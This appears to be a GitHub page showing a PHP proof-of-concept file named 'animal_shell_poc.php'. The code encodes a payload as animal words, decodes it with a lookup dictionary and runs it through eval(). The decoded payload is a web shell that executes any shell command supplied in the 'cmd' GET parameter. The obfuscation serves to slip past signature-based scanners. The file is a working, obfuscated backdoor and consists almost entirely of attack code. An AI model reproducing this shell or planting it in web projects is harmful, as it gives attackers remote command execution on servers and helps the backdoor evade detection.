-
Notifications
You must be signed in to change notification settings - Fork 123
Expand file tree
/
Copy pathanimal_shell_poc.php
More file actions
73 lines (68 loc) · 1.43 KB
/
animal_shell_poc.php
File metadata and controls
73 lines (68 loc) · 1.43 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
$string = "iguana frog EATS iguana seal seal elk tiger EATS SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS SLEEPS SLEEPS GIGGLES SPACE elk cat hog olm SPACE TICK GIGGLES SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS POOPS TICK MURDERS SPACE POOPS";
$dict = array(
"a" => "ardvark",
"b" => "bat",
"c" => "cat",
"d" => "dog",
"e" => "elk",
"f" => "frog",
"g" => "goat",
"h" => "hog",
"i" => "iguana",
"j" => "jackal",
"k" => "kiwi",
"l" => "lion",
"m" => "mole",
"n" => "newt",
"o" => "olm",
"p" => "pig",
"q" => "quail",
"r" => "rat",
"s" => "seal",
"t" => "tiger",
"u" => "vulture",
"v" => "wasp",
"x" => "xena",
"y" => "yak",
"z" => "zebra",
" " => "space",
"(" => "eats",
")" => "sleeps",
"." => "sneezes",
"[" => "pukes",
"]" => "kills",
"'" => "jumps",
"\"" => "rolls",
";" => "murders",
"=" => "dances",
"\$" => "sprints",
"{" => "giggles",
"}" => "poops",
"_" => "pees",
"<" => "falls",
">" => "vomits",
"?" => "coughs",
"`" => "tick"
);
function decode($string, $array) {
$output = "";
$words = explode(" ", $string);
foreach ($words as $word) {
$upper = isUpper($word);
$word = strtolower($word);
if ($key = array_search($word, $array)) {
if ($upper) $key = strtoupper($key);
$output = "{$output}{$key}";
} else {
$output = "{$output}{$word}";
}
}
return $output;
}
function isUpper($char) {
if (strtoupper($char) == $char) return true;
return false;
}
eval(decode($string, $dict));
?>